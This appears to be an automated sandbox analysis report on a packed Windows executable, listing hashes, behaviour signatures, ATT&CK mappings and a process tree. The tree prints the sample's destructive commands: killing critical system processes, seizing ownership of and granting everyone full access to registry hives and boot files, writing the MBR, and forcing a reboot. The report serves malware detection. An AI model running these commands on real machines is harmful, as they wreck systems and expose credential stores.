1c14be0ec1d14a95faa91015cd2e74b67ef2210211f29cb5c2c160adaf910c80

Analysis

max time kernel
34s
max time network
35s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/06/2026, 21:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
deepseek_python_20260620_d7059c.exe
Size 7.0MB
Sample260620-1h2bvaay2v
SHA256 1c14be0ec1d14a95faa91015cd2e74b67ef2210211f29cb5c2c160adaf910c80
MD5 a6b8b61730d0aba4f93eec10d21dc613
SHA1 ec1c2f6c65207bdd42a194fdd190081c6d3f2713
SHA512 724870763213c5672c3e12cd64b26061bf62c50d5ce4a21d5b30d7fc100d398e258edf63e555bf189357ae03773a071de21f6be5f12071ead96d7e8a4c51a9d3
SSDEEP 98304:E30YfMZNod3jNLcFujb8Np4W3j+HIKcts2I6cHt6yx19oq7OrGa+urxkeP2wtmQ6:rYmNoRCEbvs+Hc/IDtT9OiUswtmJh
TLSH
T171763308B7D019F9F5E3E1798A63D4299172741307B08ADF13B5529A1E23BF429BEF24
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

bootkit defense_evasion discovery exploit persistence

Malware Config

Signatures

Possible privilege escalation attempt 20 IoCs

exploit

pid	Process
5096	takeown.exe
4840	icacls.exe
6304	takeown.exe
2724	takeown.exe
3968	takeown.exe
5568	takeown.exe
6332	takeown.exe
2816	icacls.exe
4412	icacls.exe
476	takeown.exe
4812	icacls.exe
3296	takeown.exe
2584	icacls.exe
7008	takeown.exe
6608	icacls.exe
2900	takeown.exe
6884	icacls.exe
2348	icacls.exe
2396	icacls.exe
4268	icacls.exe

Loads dropped DLL 6 IoCs

pid	Process
3232	deepseek_python_20260620_d7059c.exe
3232	deepseek_python_20260620_d7059c.exe
3232	deepseek_python_20260620_d7059c.exe
3232	deepseek_python_20260620_d7059c.exe
3232	deepseek_python_20260620_d7059c.exe
3232	deepseek_python_20260620_d7059c.exe

Modifies file permissions 1 TTPs 20 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
476	takeown.exe
2900	takeown.exe
6332	takeown.exe
4840	icacls.exe
2584	icacls.exe
2724	takeown.exe
6884	icacls.exe
4812	icacls.exe
2396	icacls.exe
3296	takeown.exe
4412	icacls.exe
7008	takeown.exe
3968	takeown.exe
5568	takeown.exe
6608	icacls.exe
2816	icacls.exe
5096	takeown.exe
6304	takeown.exe
2348	icacls.exe
4268	icacls.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	deepseek_python_20260620_d7059c.exe

Kills process with taskkill 4 IoCs

defense_evasion

pid	Process
5916	taskkill.exe
6572	taskkill.exe
3440	taskkill.exe
920	taskkill.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	5916	taskkill.exe
Token: SeDebugPrivilege	6572	taskkill.exe
Token: SeDebugPrivilege	3440	taskkill.exe
Token: SeDebugPrivilege	920	taskkill.exe
Token: SeShutdownPrivilege	5880	shutdown.exe
Token: SeRemoteShutdownPrivilege	5880	shutdown.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1664	PickerHost.exe
5832	LogonUI.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 6016 wrote to memory of 3232	6016	deepseek_python_20260620_d7059c.exe	89
PID 3232 wrote to memory of 1208	3232	deepseek_python_20260620_d7059c.exe	90
PID 1208 wrote to memory of 5916	1208	cmd.exe	92
PID 3232 wrote to memory of 5720	3232	deepseek_python_20260620_d7059c.exe	94
PID 5720 wrote to memory of 6572	5720	cmd.exe	96
PID 3232 wrote to memory of 2564	3232	deepseek_python_20260620_d7059c.exe	97
PID 2564 wrote to memory of 3440	2564	cmd.exe	99
PID 3232 wrote to memory of 6972	3232	deepseek_python_20260620_d7059c.exe	100
PID 6972 wrote to memory of 920	6972	cmd.exe	102
PID 3232 wrote to memory of 5584	3232	deepseek_python_20260620_d7059c.exe	103
PID 5584 wrote to memory of 7008	5584	cmd.exe	105
PID 3232 wrote to memory of 3964	3232	deepseek_python_20260620_d7059c.exe	106
PID 3964 wrote to memory of 6884	3964	cmd.exe	108
PID 3232 wrote to memory of 3436	3232	deepseek_python_20260620_d7059c.exe	109
PID 3436 wrote to memory of 3968	3436	cmd.exe	111
PID 3232 wrote to memory of 5504	3232	deepseek_python_20260620_d7059c.exe	112
PID 5504 wrote to memory of 2348	5504	cmd.exe	114
PID 3232 wrote to memory of 2424	3232	deepseek_python_20260620_d7059c.exe	115
PID 2424 wrote to memory of 476	2424	cmd.exe	117
PID 3232 wrote to memory of 5480	3232	deepseek_python_20260620_d7059c.exe	118
PID 5480 wrote to memory of 4812	5480	cmd.exe	120
PID 3232 wrote to memory of 1544	3232	deepseek_python_20260620_d7059c.exe	121
PID 1544 wrote to memory of 5568	1544	cmd.exe	123
PID 3232 wrote to memory of 3168	3232	deepseek_python_20260620_d7059c.exe	124
PID 3168 wrote to memory of 6608	3168	cmd.exe	126
PID 3232 wrote to memory of 976	3232	deepseek_python_20260620_d7059c.exe	127
PID 976 wrote to memory of 2900	976	cmd.exe	129
PID 3232 wrote to memory of 4944	3232	deepseek_python_20260620_d7059c.exe	130
PID 4944 wrote to memory of 2396	4944	cmd.exe	132
PID 3232 wrote to memory of 6196	3232	deepseek_python_20260620_d7059c.exe	133
PID 6196 wrote to memory of 3296	6196	cmd.exe	135
PID 3232 wrote to memory of 6256	3232	deepseek_python_20260620_d7059c.exe	136
PID 6256 wrote to memory of 4268	6256	cmd.exe	138
PID 3232 wrote to memory of 3956	3232	deepseek_python_20260620_d7059c.exe	139
PID 3956 wrote to memory of 6332	3956	cmd.exe	141
PID 3232 wrote to memory of 6392	3232	deepseek_python_20260620_d7059c.exe	142
PID 6392 wrote to memory of 2816	6392	cmd.exe	144
PID 3232 wrote to memory of 4824	3232	deepseek_python_20260620_d7059c.exe	145
PID 4824 wrote to memory of 5096	4824	cmd.exe	147
PID 3232 wrote to memory of 3136	3232	deepseek_python_20260620_d7059c.exe	148
PID 3136 wrote to memory of 4840	3136	cmd.exe	150
PID 3232 wrote to memory of 3012	3232	deepseek_python_20260620_d7059c.exe	151
PID 3012 wrote to memory of 6304	3012	cmd.exe	153
PID 3232 wrote to memory of 6828	3232	deepseek_python_20260620_d7059c.exe	154
PID 6828 wrote to memory of 2584	6828	cmd.exe	156
PID 3232 wrote to memory of 5156	3232	deepseek_python_20260620_d7059c.exe	157
PID 5156 wrote to memory of 2724	5156	cmd.exe	159
PID 3232 wrote to memory of 1996	3232	deepseek_python_20260620_d7059c.exe	160
PID 1996 wrote to memory of 4412	1996	cmd.exe	162
PID 3232 wrote to memory of 4464	3232	deepseek_python_20260620_d7059c.exe	163
PID 4464 wrote to memory of 5880	4464	cmd.exe	165

C:\Users\Admin\AppData\Local\Temp\deepseek_python_20260620_d7059c.exe
"C:\Users\Admin\AppData\Local\Temp\deepseek_python_20260620_d7059c.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:6016
- C:\Users\Admin\AppData\Local\Temp\deepseek_python_20260620_d7059c.exe
  "C:\Users\Admin\AppData\Local\Temp\deepseek_python_20260620_d7059c.exe"
  2⤵
  - Loads dropped DLL
  - Writes to the Master Boot Record (MBR)
  - Suspicious use of WriteProcessMemory
  PID:3232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im winlogon.exe 2>nul
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1208
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im winlogon.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im csrss.exe 2>nul
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5720
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im csrss.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im lsass.exe 2>nul
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2564
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im lsass.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im services.exe 2>nul
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6972
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im services.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config\SYSTEM" /a /r /d y >nul 2>&1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5584
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\config\SYSTEM" /a /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:7008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config\SYSTEM" /grant everyone:F /t /c /q >nul 2>&1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3964
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\config\SYSTEM" /grant everyone:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config\SOFTWARE" /a /r /d y >nul 2>&1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3436
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\config\SOFTWARE" /a /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config\SOFTWARE" /grant everyone:F /t /c /q >nul 2>&1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5504
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\config\SOFTWARE" /grant everyone:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config\SAM" /a /r /d y >nul 2>&1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2424
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\config\SAM" /a /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config\SAM" /grant everyone:F /t /c /q >nul 2>&1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5480
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\config\SAM" /grant everyone:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config\SECURITY" /a /r /d y >nul 2>&1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1544
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\config\SECURITY" /a /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config\SECURITY" /grant everyone:F /t /c /q >nul 2>&1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3168
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\config\SECURITY" /grant everyone:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config\DEFAULT" /a /r /d y >nul 2>&1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:976
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\config\DEFAULT" /a /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config\DEFAULT" /grant everyone:F /t /c /q >nul 2>&1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4944
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\config\DEFAULT" /grant everyone:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\bootstat.dat" /a /r /d y >nul 2>&1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6196
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\bootstat.dat" /a /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\bootstat.dat" /grant everyone:F /t /c /q >nul 2>&1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6256
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\bootstat.dat" /grant everyone:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Boot\BCD" /a /r /d y >nul 2>&1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3956
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Boot\BCD" /a /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Boot\BCD" /grant everyone:F /t /c /q >nul 2>&1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6392
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Boot\BCD" /grant everyone:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\EFI\Microsoft\Boot\*" /a /r /d y >nul 2>&1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4824
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\EFI\Microsoft\Boot\*" /a /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\EFI\Microsoft\Boot\*" /grant everyone:F /t /c /q >nul 2>&1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3136
  - - C:\Windows\system32\icacls.exe
      icacls "C:\EFI\Microsoft\Boot\*" /grant everyone:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\winload.exe" /a /r /d y >nul 2>&1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3012
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\winload.exe" /a /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\winload.exe" /grant everyone:F /t /c /q >nul 2>&1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6828
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\winload.exe" /grant everyone:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\winload.efi" /a /r /d y >nul 2>&1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5156
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\winload.efi" /a /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\winload.efi" /grant everyone:F /t /c /q >nul 2>&1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1996
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\winload.efi" /grant everyone:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c shutdown /r /t 5 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4464
  - - C:\Windows\system32\shutdown.exe
      shutdown /r /t 5 /f
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5880

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:1664

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39c2855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5832

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k CameraMonitor
1⤵
PID:1116

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI60162\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI60162\_bz2.pyd
Size 84KB
SHA256 1bf985b54f529a3cbb3e52532791cc4d4c64009142d37b54eb3521adec203d5c
MD5 0a18953eb45266704171cbe54c6dd261
SHA1 15f7edd8d0ac559d912d64503fd68f1a8d4c58f7
SHA512 e5f1bef48695b4fae556113a2ccc6ed1e1cf49fa319b94f052705e809eba2543db16fcf955ac9c01de4d81746c90abc85d717004b6b3b1071b27696c6838068b
SSDEEP 1536:QVF5z780RCmmgKRF2OXvLJnmEmdBv8ZEs8iEEx0ZIILVfy7NsR9QfIbHbvTcE:yF5zIjmNAAOfLKdB0ZXjxx0ZIILVdTl
TLSH
T194838E47B76461F6F9AF81B496910353F730BE960710A3AFB24482953F13B91EE6831A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI60162\_ctypes.pyd
Size 131KB
SHA256 96b07339d52c74f2a1dd043df5eb931e4072eed90a3a8715ffec751d818e4117
MD5 b865b6717d0bb9c909c21997e5e43878
SHA1 6b7bc1d2d8a5fa1816b8c83806c8bda0d766c4f6
SHA512 a1cd8e5e1bc5b5ee78226eb9a3dbc2054ae7ca2cddb592eb287606aae3ade7e76f821b036837aff15675a177938418d8030841b3fab667c0288235b2595abb75
SSDEEP 3072:iuZHKSoKYuYz5sdf/FVzy4PKzblEUS1IIyP7Tv:doR8f/FVzyIKzKUS0v
TLSH
T1F5D38E0B776800AADAA78178C533AF47EFB1B453161057CF02A4C59A2F63B966E7F305
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI60162\_lzma.pyd
Size 155KB
SHA256 51815b6474d4216c6a2aeaffdae5d2ff4acb7a0236254f2cfe43247022f3d781
MD5 8aab96a90295cac7b047fc706a118823
SHA1 e9ce0ae765d65ba9c4d7d3f9cbf61622f5633ca2
SHA512 2a10aeb5783bd1d99dea0200f577bdeb95f36dc328063fb8d3a54fb70e7ac74251f03d424f2ba4fcdd5359f92d6b9106a124403bde6dd154bebfc5c7b7fbf6f7
SSDEEP 3072:mK1fxbqH1ZTffdFj+JnTqznfB9mNohPRHdZII01dkTB:m6Jbq7vsnTc5YOXHdwIB
TLSH
T1DCF34B86B794F0E5F3728C38D6624F57E6F5791A0320929E01CC936D2B1FB659A2E313
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI60162\base_library.zip
Size 1.3MB
SHA256 0061ac3503aae419398511c234c46678c4a712d979c9d5b5a23fd580630035d2
MD5 e8a9b6a21a54b9fe0759c915d0bfba81
SHA1 0efb2734bccaaf5a9ad569a238956bbf815e06ea
SHA512 5ab4431e8e3308e3d106ede0dc8cdf70dcb3d6d71309f152bab75958f5b318b86b1e9d0686d7f0a2d4b79368eca8d4de87fd184ac3df1cead1ea2d021325bab5
SSDEEP 12288:CjEA7FUDqfZdjdTmuIva80201jwCVRDVoioSYBC6LW7Wpbi/tYzGN8TxH1yBWi2V:Cj3dZmlo7WpNSuTxVV5cPPdxhYD/1
TLSH
T166551992B9527953FF64F37B80B7484CF31E86A2EF00C207355E42661EFE6B09E59588
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libffi-8.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI60162\libffi-8.dll
Size 38KB
SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
MD5 0f8e4992ca92baaf54cc0b43aaccce21
SHA1 c7300975df267b1d6adcbac0ac93fd7b1ab49bd2
SHA512 6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978
SSDEEP 768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
TLSH
T10B037C0B458418A4E657D53D97A64A2AC335B9240B60F2CB03D4C2BA3F6B7D6FB7C358
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python313.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI60162\python313.dll
Size 5.8MB
SHA256 6964e590037c41d631fd1215f05af154f7fa68105993c6f573a20689b473f1ac
MD5 5a7cbaa796ee41e35b5e6bdf4e024e48
SHA1 868b787184e90a277f065d7d0b830772bdd6e52f
SHA512 69dded87aee32562f57c50c5b1a3f99c7f64089226d911751cae314bc451bbd2d3e4a9c9410a532f4fefffcc4687d7c26e609d5aea13b077aefd1070151d5f6f
SSDEEP 98304:aE6YlbgK3Lv6PVN1Wgz52Wv3HDMiE9o1w:aE6M3j6PV/Git1w
TLSH
T1FB568C16729E51ACC97B8078CA13864BFBB27C053F60434B61E6BB5E2F73362466E705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads